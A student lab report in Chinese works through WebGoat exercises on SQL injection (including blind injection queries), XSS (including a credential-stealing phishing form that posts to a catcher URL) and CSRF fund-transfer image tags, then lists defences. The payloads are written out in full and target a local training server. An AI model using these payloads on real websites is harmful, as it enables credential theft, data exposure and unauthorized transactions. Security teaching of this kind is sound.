20164317《網絡對抗技術》Exp9 Web安全基礎

Exp9 Web安全基礎html

1、實踐目標java

  1. 理解經常使用網絡攻擊技術的基本原理。
  2. 在Webgoat,實踐相關實驗。

SQL注入攻擊web

XSS攻擊安全

CSRF攻擊服務器

2、實踐過程cookie

  1.環境配置:網絡

  下好jar包而後放在根目錄下mvc

  使用:java -jar *.jar就能夠解壓運行webgoat了!xss

  2.使用webgoat:post

  打開Firefox,輸入http://127.0.0.1:8080/WebGoat/login.mvc訪問webgoat

  

SQL注入攻擊:

  Numeric SQL Injection

  要求注入字符串而後能夠訪問全部的天氣狀況:

  這裏修改一下網頁源代碼就行了,隨便選個城市而後修改他的value值,添加or 1=1 便可;

String SQL Injection

  要求做爲smitn而後查看全部的信用卡信息:

  輸入or 1=1 --

  --是註釋掉後面的代碼。

LAB: SQL Injection

  第一步:

  字符串注入:要求不使用正確密碼就能夠登錄管理員的帳戶,和前面同樣,可是咱們要先修改網站源代碼

  使其在password一項中能夠輸入足夠長:

而後構造真式便可

  第三步:

  Numeric SQL Injection

  先使用第一步的辦法登錄員工的帳戶,而後再員工帳戶裏點擊查看按鈕時查看管理員用戶的信息

  咱們先看看這個老闆帳戶的值是排在表的最後:

而後就能夠經過修改id爲101 or 1=1order by salary desc這個語句來倒序查詢下一個用戶信息;

  下圖就是修改位置,原本一開始想直接修改爲老闆的id可是不成功;

成功圖:

 Blind Numeric SQL Injection

  數字盲注:要求就是經過輸入框輸入語句去查找到pins表裏pin的值是多少:

  由於這裏在輸入框裏輸入語句能夠進行判斷,會給出判斷結果,因此使用

  101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500);

  而後慢慢縮小範圍便可:

找到最後的結果爲2364:

Blind String SQL Injection

  和數字盲注差很少,這裏是找字符串,語句就有所變化:

  101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );

  意思是查找這個name的第一個字符的值是否是h

  這裏有大小寫區分,而後改變第一個1所在位置的值就是改變查找的字符串的字符位置;

  第一個字符爲J

第二個爲i

XSS攻擊:

  跨站腳本釣魚攻擊(Phishing with XSS

(1)題目要求是關於一個頁面中存在XSS漏洞時,如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。

(2)使用XSS和HTML插入製做一個釣魚網站,將其輸入在search框中,代碼以下:

 

</form>

  <script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

  </script>

<form name="phish">

<br><br>

<HR>

  <H2>This feature requires account login:</H2>

<br>

  <br>Enter Username:<br>

  <input type="text" name="user">

  <br>Enter Password:<br>

  <input type="password" name = "pass">

<br>

  <input type="submit" name="login" value="login" onclick="hack()">

</form>

<br>

<br>

<HR

(3)輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼

LAB: Cross Site Scripting

存儲型XSS

(1)執行存儲型跨站腳本攻擊,以「Tom」身份登陸網站,修改我的信息。驗證用戶「Jerry」會受到攻擊。每一個賬號的密碼是用戶明名字的小寫(如:Tom的密碼是tom)

(2)以用戶名「Tom」密碼tom登陸,選擇Tom,點擊「View Profile」按鈕。如今可 以看到Tom的我的信息。點擊「Edit Profile",在「Street」一欄中進行XSS攻擊。加入以下代碼,點擊「UpdateProfile": <script>alert("haha");</script> 

(3)退出登陸,以用戶名Jerry,密碼ferry登陸,選擇瀏覽Tom的信息,會彈出以下注入腳本,攻擊成功

Stored XSS Revisited

驗證Bruce的我的簡介中包含有XSS攻擊,使用David用戶登陸,查看Bruce的我的簡介,出現彈窗,代表存在XSS攻擊。

Reflected XSS

(1)使用僱員搜索頁面漏洞構造一個包含反射型XSS攻擊代碼的URL。驗證另外一位僱員訪問該URL會受影響。

(2)以用戶名Tom,密碼tom登陸。點擊「SearchStaff",在搜索框中,添加以下一段代 碼便可完成: <script>alert("XSS");<script> 

Stored XSS Attacks(存儲式 XSS 攻擊)

(1)目標是建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。

(2)在title中任意輸入字符。在內容中輸入如下代碼: <script>alert("XSS");</script> 

(3)點擊「hellworld",這就好比剛建立的帖子,由本身或者其餘人瀏覽,而後會彈出一個對話框,證實XSS攻擊成功

Reflected XSS Attacks(反射型XSS

(1)1.當咱們輸入錯誤的用戶信息後,服務器校驗輸入有誤,會返回錯誤頁面並將錯誤內容展現給咱們看

(2)若是將帶有攻擊性的URL做爲輸入源,好比,就會彈出對話框 <script>alert("helloworld");</script>

Cross Site Request Forgery (CSRF)

要求:CSRF經過假裝來自受信任用戶的請求來利用受信任的網站。目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。

在這節課中,URL應該指向「攻擊」servlet,

  其中包含了「屏幕」和「菜單」參數,以及一個額外的參數「transferFunds」,它具備任意的數值。

  這裏其實就說明了編寫規則,只要查看網頁上給出的scr和menu的值便可:

標題隨便,在內容裏寫<imgsrc="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=20000"/>

  而後提交,打開消息就好了:

 

  CSRF Prompt By-Pass

  要求:輸入代碼,第一個爲轉賬的請求,第二個請求確認第一個請求觸發的提示

  根據提示來編寫,也是須要查看網頁的幾個值:

  而後編寫成下面的代碼便可:

  <img src="attack?Screen=1471017872&menu=900&transferFunds=6000"
  width="1" height="1">
  <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
  width="1" height="1">

CSRF Token By-Pass

  也是要求編寫代碼,構造好了,而後發送,點擊便可

3、實驗後回答問題

1SQL注入攻擊原理,如何防護

1.對漏洞注入點相關代碼進行處理,篩除特殊字符,以規範代碼安全性;

2.關閉或刪除沒必要要的交互式提交表單頁面;

3.普通用戶與系統管理員用戶的權限要有嚴格的區分;

4.不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點。

2XSS攻擊的原理,如何防護

1.網站開發者運用轉義安全字符等手段,而且堅持不相信用戶輸入的任何數據的原則

2.表單提交的時候進行特殊字符的檢測

3.對輸入框作長度限制

4.在後臺對數據進行過濾

3CSRF攻擊原理,如何防護

1.使用令牌,每個網頁包含一個web server產生的令牌,提交時,也將該令牌提交到服務器,服務器進行判斷,若是令牌不符合,就斷定存在CSRF攻擊;

2.將提交方法改成post,或將 GET請求設置爲只瀏覽而不改變服務器端資源

3.按期清理cookie

4.使用隨機數對錶單中的值進行驗證

 

4、實驗總結

經過本次實驗,加深了我對XSS攻擊、SQL注入以及CSRF攻擊的理解。雖然一開始下載jar包就用了很長時間,但對於行不通的方法真的要好好找資料換其餘可行的方法,實踐不止侷限於課程中的指導,不斷地查資料會讓本身瞭解的更全面。

最後一次實驗到這裏就結束了,不過對安全的探究應該纔剛剛開始,在經歷了一個學期的技術課程學習後,收穫挺大的,網絡安全不知道算不算入門。

感謝老師的教學與指導!

相關文章
相關標籤/搜索